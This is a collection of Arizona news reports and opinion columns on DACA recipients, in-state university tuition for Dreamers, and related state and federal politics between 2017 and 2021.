“I believe that, until we have settled law that is contrary to our ability to do this, that it’s the right thing for us to continue to offer the in-state tuition,” said Rick Myers.

Regent Ron Shoopman agreed.

“One of the things this board strongly believes is that we want to provide access and as low a possible tuition as possible within the confines of the reality that we find ourselves, so all students who attend the universities and especially those that graduate have better futures guaranteed,” he said. “We want that for all our young people.”

And Ram Krishna said there’s another fact to consider.

He pointed out that both the University of Arizona and Northern Arizona University have programs that are designed to guarantee incoming students that their tuition will remain unchanged for the four years to get an undergraduate degree.

“We need to comply with that,” Krishna said.

Arizona State University has no such policy but has promised to limit year-over-year increases.

Ridenour, who is an attorney, said after Thursday’s meeting he is making no predictions on what the Supreme Court will conclude.

“I think it will be well briefed,” he said. Ridenour said he expects input not only from the parties involved — the Maricopa colleges, which implemented the policy, and Attorney General’s Office, which challenged it — but also others who have an interest in the outcome.

“Obviously, there’s a lot of politics involved,” he said. “There’s laws involved.”

He agreed with Heiler on one key point: The best outcome would be for the federal government to clarify the status of DACA recipients.

It was the Obama administration that enacted the DACA program in 2012, entitling those who arrived in this country illegally as children to remain and to work.

But Brnovich argued – and the appellate court agreed – that decision by the administration not to deport dreamers did not give them legal immigration status, making them ineligible for in-state tuition.

During the presidential campaign, Donald Trump vowed to rescind DACA on his first day in office. But now, five months later, the program not only remains but his administration has said it continues to study what to do next.

There are those, however, who are pressuring the Trump administration to live up to that promise.

In a letter Thursday to the U.S. Attorney General Jeff Sessions, the attorneys general from 10 states urged that the DACA be phased out because it was enacted “without any statutory authorization from Congress.”

Arizona Attorney General Mark Brnovich was not among those who signed the letter. But Brnovich has argued in court documents seeking to deny driver’s licenses to dreamers that there is no legal authority for DACA.

Dreamers benefit America, deserve protection

Since America’s founding, we have served as a safe harbor for countless generations of immigrants, offering the ability to work hard and pursue the American Dream. As a city, Phoenix encapsulates this tradition. Our community has enjoyed contributions from generations of immigrants as business owners, educators, and civic leaders.

In recent years, Phoenix has also served as a home to thousands of Deferred Action for Childhood Arrivals (DACA) program recipients. In fact, with 21,420 DACA recipients calling Phoenix home, we rank seventh in the nation for largest DACA population. These individuals are working hard and pursuing their dreams.

However, decisions at the federal level have jeopardized the future of our Dreamers. Over two years ago, the Trump administration rescinded the DACA program, despite the benefits the program and all that its recipients have brought our city and nation.

Since that decision, Dreamers have been caught in a seemingly endless game of legal limbo. Court injunctions have temporarily allowed protections to remain in place, but the future is uncertain. On November 12, the U.S. Supreme Court heard arguments regarding the legality of the Trump administration’s decision to rescind the program.

Our city and our nation are stronger when we embrace our diversity. We are also more economically robust. If DACA workers in Arizona were removed, it would cost our state over $1.3 billion in annual GDP. We would also lose their contribution to federal, state, and local taxes.

Dreamers are our students, teachers, neighbors, friends, and family. They are fellow Arizonans and fellow Americans.

Phoenix remains committed to our Dreamers, which is why we, along with 108 other cities, counties, and organizations, signed onto an amicus brief supporting our nation’s DACA recipients and objecting to the elimination of the program.

While we will do everything in our power here in Phoenix to protect our neighbors, ultimately permanent protections can only come from Washington. Instead of leaving DACA recipients in limbo at the mercy of the courts, Congress must pass a legislative solution.

Nearly nine in 10 Americans support protecting Dreamers. To abandon our DACA recipients now, in spite of who they are and everything they contribute, is to abandon so much of what has made our city, our state, and our country what it is.

Kate Gallego is the mayor of Phoenix.

Dreamers lack confidence in Congress, plan for life without DACA

José Patiño (Photo by Diego Lozano/Aliento)

José Patiño has done everything right, keeping within the many lines of federal bureaucracy involved with being a part of the Deferred Action Childhood Arrivals program. But now, he is scrambling to come up with plans A, B, and C in case Congress does not come through with a plan to replace the program.

“There is hope for legislation to pass, but at the same time, nothing is certain,” Patiño, 28, said. “So, I have to prepare for the worst and keep fighting. Something could happen, but with the way Congress works, it most likely won’t.”

He was brought to Arizona from Mexico when he was 6. He has since earned his master’s degree in secondary education and bought a house. He now works as a mortgage banker and volunteers as the campaign director for local immigrant rights group Aliento.

Some of his mortgage clients are DACA recipients. He said some backed out after President Trump’s announcement September 5 that Congress has six months to fix the program or it will phase out.

Patiño said those people want to save money in case their lives are uprooted six months from now.

Patiño has been busy this week coming up with a contingency plan of his own. He said he’ll add his brother, also protected by DACA, to the title on his house, and he has been speaking with an attorney about migrating to Canada.

Returning to Mexico is an option, but not one that feels particularly comfortable.

He visited once while on advance parole, an element of DACA that allowed recipients to travel abroad and return to the U.S. without terminating their status, but it was “awkward.”

“They say that’s your home or that’s where you belong, but it felt like a foreign land,” he said.

He commended the outpouring of public support for legislators to act on the DREAM Act, a bill granting permanent legal status to people like DACA recipients, but said it is not enough.

Patiño said he has lobbied for the legislation originally co-authored by Sen. Dick Durbin, D-Illinois, and heralded by Republicans, including Sen. John McCain. But he also predicted yet another false start on the attempt at immigration reform.

The Development, Relief and Education for Alien Minors Act, or DREAM Act, has fought for life for 16 years.

In 2007, it fell to a bipartisan filibuster even after winning the favor of a majority of senators. In 2010, it won over the House but fell in the Senate. And in 2013, it was approved by the Senate but failed in the House.

Now, as officials take another stab, this time faced with a hard deadline for action, the fates of nearly 1 million people are at stake and a president who once promised to scrap DACA on day one of his administration.

In a statement released September 5, McCain said Trump’s decision was the “wrong approach to immigration policy at a time when both sides of the aisle need to come together to reform our broken immigration system and secure the border.” He also called on his colleagues to “devise and pass” such reforms, including the DREAM Act.

His office did not immediately respond to a request for comment regarding the senator’s confidence in his colleagues to do just that.

And Republican Sen. Jeff Flake’s spokesman, Jason Samuels, simply referred to a teleconference with members of the Arizona press held on September 6.

Flake, who also voiced his support for the DREAM Act, was asked what made him think such an effort would be successful considering the recent failure to repeal and replace the Affordable Care Act.

“We’ve got momentum,” he said. “There are 800,000 kids that are currently protected by DACA… That’s a great motivator.

“They are contributing to society. They are going to school. Most of them are working…and so, it would be a blow to our economy if we were to lose them. They are valued members of society, and I hope they can stay.”

Flake said he thinks Congress can act within six months despite the long, failed history of the DREAM Act.

“I’ll take it comprehensive. I’ll take it piecemeal,” Flake said.

Whatever form a policy takes, if it materializes at all, lives hang in the balance.

Patiño said he is privileged, confident he has a network that will be there to protect him if Congress will not.

But other DACA recipients have only just begun to build their lives.

South Mountain High School students walk out of class September 5 to protest President Donald Trump's decision to end the Deferred Action for Childhood Arrivals, or DACA. Photo by Katie Campbell/Arizona Capitol Times — South Mountain High School students walk out of class September 5 to protest President Donald Trump’s decision to end the Deferred Action for Childhood Arrivals, or DACA. Photo by Katie Campbell/Arizona Capitol Times

Jonas Lopez Pena, a sophomore at South Mountain High School, said he has no idea how to plan for his uncertain future.

“I rely on DACA, and without it, I’m pretty much nothing here in the United States,” he said. “I need it to be able to have a good life.”

On the same day DACA was slated for termination, Lopez Pena walked out of school with about 300 of his peers to protest Trump’s decision. He marched more than a mile to the Phoenix Police Department’s South Mountain Precinct surrounded by chants — “Whose streets? Our streets.” – and honking cars.

He had plans to go to college and took dual enrollment classes to earn credits in high school, but that has been turned upside down.

He said his three siblings are also protected by DACA. His parents are undocumented, though, and if their children are deported, Lopez Pena has no doubt they would leave everything behind and return to Mexico.

Jose Aguilar and Jonas Lopez Pena, sophomores at South Mountain High School, flash peace signs after walking more than a mile to the Phoenix Police Department's South Mountain Precinct on Sept. 5. (Photo by Katie Campbell/Arizona Capitol Times) — Jose Aguilar and Jonas Lopez Pena, sophomores at South Mountain High School, flash peace signs after walking more than a mile to the Phoenix Police Department’s South Mountain Precinct on Sept. 5. (Photo by Katie Campbell/Arizona Capitol Times)

“We wouldn’t have the lifestyle we have here. I wouldn’t have the opportunities I have here,” he said. “Everything would change.”

DACA was created via an executive order from former President Barack Obama in 2012 to protect young undocumented immigrants raised in the U.S. from deportation. The so-called Dreamers were granted two-year protective terms that could be renewed.

Recipients will become eligible for deportation in March if Congress takes no action.

Ducey wants path for ‘dreamers’

Gov. Doug Ducey said Tuesday the ultimate solution for how to deal with “dreamers” has to come from Congress.

“The Supreme Court’s going to do what the Supreme Court’s going to do,” the governor said hours after the nation’s high court heard legal arguments about whether President Trump has the authority to cancel the Deferred Action for Childhood Arrivals program. DACA, established by President Obama, allows those who arrived in this country illegally as children to remain and work if they meet certain conditions.

Trump in essence contends because the program was created by executive action it can be similarly abolished. The question for the Supreme Court is does he need a rationale for that move and is that rationale justified.

Ducey said that, whatever the justices rule, he wants there to be a path toward legalizing the status of the more than 660,000 DACA recipients already in the country, including nearly 25,000 in Arizona.

Doug Ducey

“I want to make sure the rug isn’t pulled out from underneath these DACA kids,” he said.

And that, the governor said, will require a compromise.

“I think it’s an opportunity for border security and immigration reform,” Ducey said.

“Let’s start with border security,” he continued. “And let’s make sure that this issue around DACA is taken care of.”

Ducey brushed aside questions of whether congressional Democrats would be willing to enact enhanced border security ahead of immigration reform and trust Republicans to follow through.

“That’s a political question,” he said.

“What I’m giving to you is a very solvable equation,” the governor said. “Congress should do its job.”

The governor’s position echoes comments made the day before by U.S. Sen. Martha McSally who said she had proposed a solution to the problem.

“I’ve been working on this for a very long time,” she said Monday. “And I do believe there is a way, a bipartisan way, we can work together to secure the border and find a legal path forward for DACA.”

McSally also said she has an answer.

“My legislation did that in the House,” she said.

As a representative, McSally had been a co-sponsor of the Recognizing America’s Children Act. It would have provided pathways for legal status for DACA recipients.

But what McSally did not say Monday is that she asked the House for unanimous consent to formally take her name off that bill.

That occurred in the spring of 2018 when she was hoping to become the Republican nominee for the Senate seat being vacated by Jeff Flake. She was facing two GOP foes who had taken harder-line positions on immigration: former state Sen. Kelli Ward of Lake Havasu City and former Maricopa County Sheriff Joe Arpaio.

McSally shifted her support to the Securing America’s Future Act which would toughen border security. And as to DACA recipients, they would have been granted only “contingent nonimmigrant status.”

Aides to McSally said at the time that she “wanted to clarify which legislative solution she backs wholeheartedly.”

And weeks later, with the Republican primary still pending, her staff removed from YouTube a video of McSally defending the DACA program.

McSally won the GOP nomination only to be defeated in November by Democrat Kyrsten Sinema.

Despite that loss, Ducey tapped her to fill the vacancy created by the death of Sen. John McCain. That means McSally has to run again next year if she wants to fill out the last two years of that term.

State Attorney General Mark Brnovich has sided with Trump in the legal battle playing out at the Supreme Court, signing on to a multi-state legal briefs contending that Obama never had the legal authority to create the program in 2012.

In explaining his position when the brief was filed in 2017, Brnovich said it isn’t necessary for the justices to agree with his arguments about Obama exceeded his authority. He said the high court can give Trump the go-ahead to abolish the program on other grounds.

“It’s a matter of simple logic,” he said. “If President Obama can create a substantive program by himself using executive power, then why can’t President Trump rescind that using executive action?”

Brnovich also said that a Supreme Court decision backing the president would be a good thing, forcing Congress to finally do something.

“DACA recipients are being used as political footballs by both parties,” he said. “There’s no incentive for politicians in Washington, D.C. to solve this problem because they’d rather have it around as a political issue.”

Ducey’s position on seeking a congressional solution is not new.

“I have doubted the legality of President Obama’s unilateral actions,” the governor said in 2017 when Trump first proposed scrapping the program. Ducey said he has taken the position that “Congress needs to address our outdated immigration policies and put a more strategic focus on border enforcement.”

But even then, the governor made it clear he wanted some permanent solution for dreamers, saying many are “living in limbo.”

“They should be held harmless from the decisions of their parents,” he said.

For Arizona’s children of immigrants, this election is personal

I am a first-generation daughter of immigrants born and raised in Chandler, Arizona.

My parents immigrated from Syria to the United States in the 1980s under the friendly immigration reforms passed by President Ronald Reagan, a Republican leader who stands very much in contrast to President Donald Trump’s determined effort to dismantle the U.S. immigration system.

With every citizen with conscience and a commitment to our democracy, I will be voting emphatically for former Vice President Joe Biden on Election Day.

My family and I have been Arizona residents for decades, and belong to the small, yet significant, Muslim American community which comprises 1% of the state’s adult population.

I graduated from Arizona State University alongside first-generation college students, recipients of the Deferred Action for Childhood Arrivals (DACA) program, and students with families of mixed immigration status, each dedicating their education to honor the sacrifices of their parents’ invaluable contributions to the United States.

Arizona has been a front line state in our country’s immigration debate, but don’t let Trump fool you – my classmates, colleagues, neighbors, and I bear the fruits of our country’s pluralism.

Trump continues to relentlessly attack immigrant families like mine, extending his racist rhetoric to refugees and asylum-seekers fleeing violence and persecution in their homelands. My family is one of the few in our neighborhood who have been tangibly impacted by the Muslim ban enforced by President Trump, which effectively prevented any member of seven Muslim-majority countries to enter the United States, including Syria. The Trump administration has also critically reduced refugee admissions to the U.S, with recent proposals to slash refugee admissions to an all-time low of 15,000 by 2021.

For the last four years, I have watched while countries like Canada, Germany, and Sweden opened their doors to my Syrian cousins, aunts, and uncles, while the country that once welcomed my parents turned its back on vulnerable people who bring valuable skills and talent to each community. This is despite the evidence that shows that immigrants, refugees, and asylum-seekers are a net plus for American life – my Arab-Muslim community in Phoenix alone is composed of educators, doctors, soldiers, small business owners, and teachers.

For decades, Joe Biden, a descendent of Irish Famine migrants, has led on immigration reform. He ran for president in response to Trump’s stoking of white nationalism in Charlottesville, and as president, he will bring Americans together. He has pledged to end the Muslim ban on Day One, to leading on creating pathways to citizenship for Dreamers, and to ensuring his administration looks like America in all its diversity. In his first year in office, Biden has committed to resettle over 125,000 refugees, prioritizing those who were backlogged under the Trump administration. These are individuals who contribute to our societies, and as we see in a state like Arizona, are the backbone of our industries, including essential workers and health staff working hard at the frontlines of the COVID-19 pandemic to keep fellow Americans safe.

One week ahead of the most consequential elections in our lifetime, I am wary that this country is not the same one that welcomed my father in 1982. In honor of his sacrifice, and that made by millions of immigrants around the United States who left their homelands to make this country a better place, my goal is to dedicate my life and privilege as a first-generation American citizen to vote for a president who will restore the soul of America and bring back the country of belonging that I was raised in and recognize.

Diana Rayes is a PhD student at the Johns Hopkins Bloomberg School of Public Health where she is specializing in the impact of conflict and displacement on refugee health. Twitter: @diana_r7

Former undocumented immigrants turned lawmakers want ‘Dreamers’ to speak out

Rep. Cesar Chavez, D-Phoenix, sings with a mariachi band in front of the Arizona Senate in February 2017. (Photo by Rachel Leingang, Arizona Capitol Times)

Rep. Isela Blanc, D-Tempe, considers herself “pretty American,” a good neighbor and an engaged citizen.

She came to the United States from Mexico on a visa as a 6-year-old and was undocumented until she was 16, when she became a legal permanent resident, which allowed her to go to college and gain access to financial aid.

Her fellow House Democrat, Cesar Chavez, of Phoenix, came to the United States from Mexico when he was 3-years-old in 1991.

“I don’t remember coming to this country. I don’t remember crossing the desert with my mother,” he said.

The two formerly undocumented state lawmakers want “Dreamers” to keep making their voices heard and telling their stories as Congress wrestles with how to address Deferred Action for Childhood Arrivals.

The Trump administration announced on September 5 that it would phase out the DACA program, but gave Congress six months to find a legislative solution.

As of press time, President Trump and Democratic leaders were discussing a potential deal on DACA. While Rep. Nancy Pelosi and Sen. Chuck Schumer said on September 13 there was an agreement with Trump to save DACA coupled with border security, but without a border wall, Trump said that wasn’t true. But he did say he supports Dreamers staying in the U.S.

The September 5 announcement struck close to the hearts of the two freshmen lawmakers.

Chavez said he would have qualified to be covered by DACA. Instead, he was able to become a legal permanent resident and then a naturalized citizen under immigration policies during the Reagan and Clinton administrations.

Congress should come up with a permanent fix to allow Dreamers to live here and have a pathway to citizenship, he said. But there’s always the potential that a debate over DACA becomes a political game, with border security tied into the welfare of 800,000 young adults, he said.

Still, he’s optimistic that a DACA fix will come through. Emotions are understandably high – the hopes and dreams of 28,000 Arizonans are being toyed with, he said. But Dreamers have the ability to bring humanity into the debate by telling their stories, Chavez said.

“Everything’s on the table, and when you have everything on the table, you have nothing to lose,” Chavez said. “Speak out.”

While Chavez acknowledges he can’t do much to affect federal immigration policy as a state lawmaker, he said the state can work to make people feel more welcome. Lawsuits like the one filed by Attorney General Mark Brnovich over Dreamers’ tuition at state universities aren’t helping, he said.

“Arizona can be welcoming. Arizona is diverse. It’s just a matter of releasing the noise, releasing the negative rhetoric and allowing it to be the beauty of a state it is,” Chavez said.

The DACA debate in Arizona isn’t strictly partisan. After the Trump administration’s announcement, Republican Sens. John McCain and Jeff Flake both said ending DACA was wrong. And the Arizona Chamber of Commerce and Industry, typically aligned with Republicans here, spoke out strongly against ending DACA.

“Does anyone feel safer now that the attorney general has announced the removal of legal protections for 800,000 students and participants in the US economy?” chamber president Glenn Hamer said in a statement.

Blanc said it’s not only DACA ending that troubles her. Many families, like Blanc’s, have people with mixed immigration statuses. There are 11 million people in the U.S. without documents, she noted, so it’s tough to disconnect the DACA discussion from immigration as a whole.

“We’re too busy demonizing people who pick our lettuce so we can have a fancy meal at a restaurant,” she said.

She wonders if DACA recipients will be used as pawns by politicians who could give up on helping the broader population of undocumented immigrants. At this point, there are more questions and concerns than there are answers for her. But every day is critical as the six-month timeline ticks onward, she said.

“Every day you have 800,000 people that don’t know what their future holds,” Blanc said. “And these are young Americans that have always known America, this place, to be their home. The only thing they lack is paper to show they were born here.”

She has been telling Dreamers to organize, and she’s found them ready to have their voices heard by those in power. They’re having important conversations with their school boards and elected leaders and making it clear they expect to be protected, she said.

Blanc has talked to a lot of high school students who want to take action – “at a time when you’re supposed to be worrying about that pimple you just got before a dance, and instead they’re worrying about the future of America,” she said.

The next couple months will be critical for DACA, she said.

“I’m hopeful in people’s ability to be empathetic and sympathetic and see the humanitarian crisis that we are on the verge of creating,” Blanc said. “I am hopeful. Yes, I have fear. Yes, I feel uncertainty as well. But I am hopeful that people are being awakened by the madness of the politics.”

GOP lawmaker proposes legislation to allow ‘dreamers’ in-state tuition

Parting ways with party members, a Prescott Republican wants to allow “dreamers” who attend Arizona colleges and universities to pay the same in-state tuition as any other resident.

Rep. Noel Campbell said he’s all in favor of the United States having secure borders. And he acknowledged that the children involved were brought here illegally by their parents.

But Campbell told Capitol Media Services the reality is that these children, many of whom have known no other home, are here to stay. More to the point, he said they already have been educated through high school at public expense.

So he figures that it makes no sense to now tell them they can’t finish their education and get trained to do jobs that Arizona needs. And he wants to take his case directly to voters who first approved the restriction in 2006.

Campbell conceded opposition to his HCR 2048 is likely to come from those within his own party.

It was the Republican-controlled Legislature that put the measure on the 2006 ballot. It spells out that any person who is not a U.S. citizen or legal resident or is “without lawful immigration status” is ineligible to be charged the same tuition at state colleges and universities available to residents.

All that, Campbell noted, was before the Obama administration created the Deferred Action for Childhood Arrivals program in 2012. It allows those who were brought here as children to not only remain but also to work.

The most recent figures put the number of DACA recipients at close to 700,000 nationally, with about 30,000 in Arizona.

Campbell said they deserve different legal treatment than others not here legally.

“Their parents broke the law, of course,” he said, as compared to the children who had no choice.

Campbell thinks he can make the case to voters in November that the 2006 measure no longer makes sense. The more immediate problem is closer to home.

First, he needs to get House Speaker Rusty Bowers to agree to assign the measure to a committee rather than quashing it. The Mesa Republican said Tuesday he has not yet reviewed the measure and has made no decision.

And even if Bowers sends the bill to a committee, then there’s getting whoever chairs that panel — a Republican — to give it a hearing.

Then there’s lining up the votes.

Campbell said he’s convinced he has Democrat support. But that still leaves him short in a House and Senate where Republicans hold the majority.

The task now, Campbell said, is to convince fellow GOP lawmakers that it’s in their interest to support the plan.

“I told my caucus that we, as Republicans, need to be out front, be proactive, and let the Hispanic community know that we value them and we want them to become members of our party,” he said. “And I think it’s a winning argument.”

More to the point, Campbell said HCR 2048 makes practical sense.

“They’ve gone to school, we’ve educated them,” he said, noting that federal law requires states to provide a K-12 education to all residents regardless of legal status. “And we need to reap the benefits of their education.

The future of DACA is in doubt.

President Trump has asked the U.S. Supreme Court to allow him to discontinue it, based in part on his argument that if it could be established by executive order it can be similarly ended that way. A ruling on that bid is expected later this year.

But Campbell said the fact remains that the students are here and are likely not leaving, no matter what the high court decides.

“They’re going to be here and we’re not going to deport them,” Campbell said. “They’re good kids and they want to continue their education.”

In fact, Campbell structured HCR 2048 so it won’t matter if DACA goes away.

His measure spells out that the resident tuition would be available to anyone who was eligible for DACA on June 15, 2012, when it was established. That means having been younger than 31 on that date, came to the United States before turning 16, was not convicted of certain crimes and graduated from an Arizona high school.

DACA recipients actually were paying in-state tuition until 2018 when the Arizona Supreme Court concluded that, strictly speaking, they were “without lawful immigration status” despite the executive order.

After that ruling, the Board of Regents came up with a compromise of sorts: A special rate for Arizona high school grads who were not here legally: 150 percent of resident tuition.

Campbell, however, said that special rate really isn’t enough to help for students who graduated from Arizona high schools and, despite their legal status, otherwise meet the definition of Arizona residents.

The differences can be substantial.

For example, basic residential tuition for new students at the University of Arizona is $11,299 a year, not including various mandatory fees. The formula for DACA recipients — 150 percent of resident tuition — sets what they owe at $16,948.

Campbell acknowledged that’s still better than the $34,976 tuition for nonresident undergrads. But he sees no reason for even that 150 percent differential.

There are similar differences at Arizona State University and Northern Arizona University.

There are limits to the scope of what Campbell wants to do. Most notably, the DACA students would remain ineligible for any other state-sponsored scholarship or assistance.

“If they get in-state tuition, they have to borrow it from the bank or their families or whatever,” he said.

Campbell said he doesn’t want this issue to get caught up in the ongoing debate about border security. On that issue, he said he sides with the Trump administration.

“We have to determine who comes into this country,” Campbell said.

“We can’t just let our borders be open,” he continued. “That’s not a racist position.”

But that, said Campbell, is separate from the question of DACA recipients.

GOP lawmaker revives in-state tuition for ‘Dreamers’

A ballot measure that could let Arizona “Dreamers” pay in-state tuition to attend universities and community colleges was unexpectedly revived in the House of Representatives on May 5 and could pass on May 10.

As the House prepared to wrap up its business May 5, Rep. Michelle Udall, R-Mesa, moved that Senate Concurrent Resolution 1044 be placed on the House’s first read calendar and, in the coming days, moved through the legislative process. The measure passed the Senate 17-13 on March 4, with three Republicans joining the Democrats to pass it, but hadn’t moved in the House. It would ask voters in November 2022 if they want to repeal a portion of the 2006 Proposition 300 that bars students who are living in the country without legal permission from receiving in-state tuition or state aid.

The measure would affect “Dreamers,” dubbed so from the federal DREAM Act that has never passed. The act would allow young immigrants who were brought to this country illegally as children to remain in the country if they meet certain criteria. That same population also falls under the Deferred Action for Childhood Arrivals program implemented under then-President Obama. Opponents of the federal legislation and program say they reward people for breaking the law, encourage illegal immigration and hurt American workers.

“I think it’s an important matter,” Udall said. “I’d been hoping all session to get it to the floor. We tried going the regular route. … At the end of the day, I felt like I needed to do what I felt was the right thing.”

Republicans ate up more than an hour with several procedural moves to block Udall’s motion, first trying to adjourn for the day, then asking for a recess so the parties could caucus. These all failed 29-31, with Udall and Rep. Joel John, R-Buckeye, joining the Democrats to defeat them. On the final vote, Rep. David Cook, R-Globe, joined the Democrats and the two other Republicans to support the passage of Udall’s motion.

The House reader then read it aloud, setting the resolution up for a second reading May 6 and for a final vote on May 10, which will be the next day the House is in session. Udall said she doesn’t believe there is any way it can be blocked from coming to a vote on May 10, meaning that barring some unforeseen event, if the coalition of Democrats and a couple of Republicans who forced the issue sticks together, it will pass and be referred to the ballot for voters to decide.

Udall, who is the chairwoman of the House Education Committee, was in the spotlight all day May 5. Besides bringing SCR1044 to the floor, she sponsored an amendment to another bill, which passed on a party-line vote, restricting the teaching of critical race theory and controversial political topics in Arizona schools.

Green candidate drops out of U.S. Senate race, throws support to Sinema

Voters wait in line at dawn to cast their ballot in Arizona's presidential primary election, Tuesday, March 22, 2016, in Phoenix. (AP Photo/Matt York) — (AP Photo/Matt York)

A last-minute decision by the Green Party candidate to drop out of the race for U.S. Senate could provide Democrat Kyrsten Sinema a needed bump.

Angela Green told KPNX-TV on Thursday she wants people to vote for “a better Arizona.”

“And that would be for Kyrsten Sinema,” she said.

U.S. Rep. Kyrsten Sinema, D-Ariz. speaks prior to delivering her signatures to the Arizona Secretary of State's office Tuesday, May 29, 2018 at the Capitol in Phoenix. Sinema is officially running as a Democrat for U.S. Senate seat being vacated by retiring Republican Sen. Jeff Flake. Women running for office have crossed another threshold with a record number of candidates for the U.S. Senate. Actually winning those seats and changing the face of the chamber are a different matter. Many of the women jumping into Senate races face uphill campaigns. (AP Photo/Matt York) — U.S. Rep. Kyrsten Sinema (AP Photo/Matt York)

Green, whose polling has never gotten above single digits, said she struggled with the decision.

“But that’s what it is,” she said.

Green said she could not support Republican Martha McSally who, depending on which poll is cited, is in a neck-and-neck race with Sinema. That decision, Green said, had to do with Sinema’s views.

“They are more in line with what my political, my agenda is, what I’m looking to do to help Arizona become more green again,” she said. That conclusion, Green said, came following watching the debate between the two contenders.

“Sinema’s stance on a lot of things are close to mine,” she said.

Whether that moves the needle remains to be seen.

A survey by OH Predictive Insights released Wednesday put McSally at 52 percent versus 45 percent for Sinema. Green was polling at 1 percent, with 2 percent undecided. That survey was taken between Oct. 22 and 23.

But a CNN poll covering Oct. 24 through 29 had Sinema up 4 points, the poll’s margin of error.

And one done by NBC and Marist in the Oct. 23 to 27 had Sinema with a 6-point lead in a head-to-head race, though Sinema’s lead shrunk to 3 points when polled as a three-way race including Green.

Then there’s the question of whether there are enough Green supporters out there who have not already mailed in their early ballots.

Figures Thursday from the Secretary of State show about 1.35 million ballots already have been turned in.

There are about 3.7 million registered voters. But that still leaves the question of how many will actually cast a vote.

The last midterm election in 2014 had a turnout of just 47.2 percent of those registered.

There have been some predictions that voter interest is stronger this year than it was at that time, especially with the fight over the Senate seat that became open when Republican Jeff Flake decided not to seek reelection.

By comparison, turnout two years ago, with a presidential election, was 74.2 percent.

“Sixteen years later and Kyrsten Sinema’s still the Green Party’s candidate,” said McSally spokeswoman Torunn Sinclair. That is a reference to the fact that Sinema had aligned herself with the Green Party in her first bid for the Legislature in 2002; she did not get elected until two years later under the Democratic Party banner.

Green could not be reached for comment.

At least one area where Green’s views likely come closer to that of Sinema is on the issue of immigration.

“I, too, am an immigrant,” she wrote on the information submitted to the Secretary of State’s Office. “That is why I support programs like DACA (Deferred Action for Childhood Arrivals) and laws that make it easier and more efficient for immigrants coming here to become valuable citizens in our society.”

McSally, by contrast, has hewed close to the positions of President Trump, promoting the fact that she supported legislation that includes building a wall. She also has come out in support of the president’s decision to send troops to the border.

ICE to focus on businesses that hire undocumented immigrants

Thomas Homan, acting director of U.S. Immigration and Customs Enforcement, speaks after a Heritage Foundation presentation at which he said his agency would focus on businesses that knowingly employ undocumented workers. (Photo by Andrew Nicla/Cronkite News)

U.S. Immigration and Customs Enforcement plans to boost its efforts targeting businesses by “four to five times” and will prosecute employers who knowingly hire illegal workers, the acting director of the agency said October 17.

Thomas Homan said the goal of the new policy is to cut off the supply of jobs that will keep people coming here illegally “as long as they come and get a job.”

An Arizona Chamber of Commerce and Industry spokesman said business leaders are willing to comply with the enforcement program, but cautioned against the administration taking a “hostile” approach with business owners.

Arizona employers are already required to use E-Verify to check a job applicant’s citizenship status, a policy Homan said he would like to see extended nationwide.

Homan’s comments came during a speech at the Heritage Foundation, where he criticized sanctuary cities and defended ICE’s practices of deporting immigrants who are suspected gang members, and arresting them near schools, hospitals, courthouses and other areas that have been off-limits in the past.

Homan stressed that except for immigrants who currently enjoy DACA, or Deferred Action for Childhood Arrivals, protection, “nobody is off the table.” He said he hopes to send a message to those breaking the law that “we’re no longer going to turn our heads, we’re going to enforce the laws on the books.”

ICE was one of the federal immigration enforcement agencies that collaborated on an immigration policy priority wish-list released last week by the White House. Among the more than 70 items on the list is a call for employers nationwide to be required to use E-Verify.

Use of E-Verify, a federal database that helps employers determine the citizenship status of job applicants, was one of the immigration pledges made by President Donald Trump during his campaign. The administration included a request for $131.5 million in the budget for upgrades to E-Verify, with an eye toward pushing it nationwide in three year.

Arizona has long required employers to use E-Verify when making a hire. Despite doubts early on, Arizona Chamber of Commerce and Industry spokesman Garrick Taylor said deployment of the program to state workplaces went smoothly, but he is not sure a nationwide implementation would be as easy.

Taylor said that if there are employers “knowingly hiring folks without work authorization, they ought to be punished.” But if federal law does require businesses to use the program, he said he hopes the rollout would be done in partnership with employers.

“We would hope that there’s a desire from the administration to work with employers so that employers know exactly what the rules of the road are, how you use E-Verify, and what all that entails,” Taylor said.

But immigration advocates said authorities should think twice before making E-Verify mandatory nationwide.

Immigrants are needed to fill manual labor jobs that Americans may not be willing to take, said Petra Falcon, executive director of the Latino voter outreach organization Promise Arizona. Rather than deporting them outright, Falcon said the government should work with employers to find a solution to keep them here.

“We know that they’re here, we’re inviting them to come and work in the fields, in construction, in this economy and yet they’re not invited to receive the benefits of doing that in this country,” Falcon said.

Falcon said she is disappointed but not surprised by the agency’s decision to ramp up workplace enforcement and said it is in step with the Trump administration’s rhetoric of “targeting the most vulnerable in our communities.”

In-state tuition for Dreamers 1 step closer

A Senate panel took the first steps Tuesday to reversing a policy that denies in-state tuition to “dreamers” at state universities and community colleges.

Legislation approved by the Education Committee would repeal a 2006 voter-approved law which spells out that anyone not in this country legally is not entitled to residential tuition. In its place, SCR 1044 would say that those who meet other residency requirements and graduate from an Arizona high school do qualify.

The proposal by Sen. Paul Boyer, R-Glendale, drew just a handful of opposition, mainly through comments posted online.

But final approval is far from certain.

First, the measure now needs to clear the full Senate. And two Republicans on the panel Tuesday voted against it.

Beyond that, there’s no guarantee that all the Democrats will support it.

Sen. Sally Ann Gonzales, D-Tucson, said she supports what Boyer is trying to do for affected students.

But she complained that SCR 1044 does not fully repeal all of Proposition 300, the 2006 ballot measure. That also cut off those who are not in this country legally from other benefits, including child care and adult education.

Because of that, Gonzales said she may vote against this proposal when it reaches the Senate floor.

Boyer conceded the point but urged her to consider.

“What I would say to you is, don’t let the perfect be the enemy of the great,” he said. “And this is a great bill.”

More to the point, Boyer said it is questionable at best whether he could get the votes in the Republican-controlled legislature for full repeal of Proposition 300. And then there’s the fact this needs ratification at the ballot in 2022 because the original law was enacted by voters.

At the heart of the matter is that 2006 initiative, part of a series of measures debated and approved more than a decade ago aimed at those not in the country legally. It was approved by more than 71 percent of those who voted.

In 2012 the Obama administration approved Deferred Action for Childhood Arrivals. It allows those who were brought into this country illegally as children who meet certain conditions to both remain and work.

Based on that, the Maricopa County Community College governing board concluded DACA recipients were here legally and entitled to in-state tuition. Then, when a trial judge ruled in their favor, the state Board of Regents adopted the same policy as did some other college districts, including Pima.

All of that came crashing down when the state Court of Appeals ruled the policy illegal, a decision upheld by the state Supreme Court.

Since then, the regents have adopted what they believe is an acceptable compromise: Dreamers pay tuition at the rate of 150% of what is charged to in-state students. That is designed to be a rate that covers the actual cost of education, sidestepping the legal question of whether DACA recipients were having their tuition subsidized by state dollars.

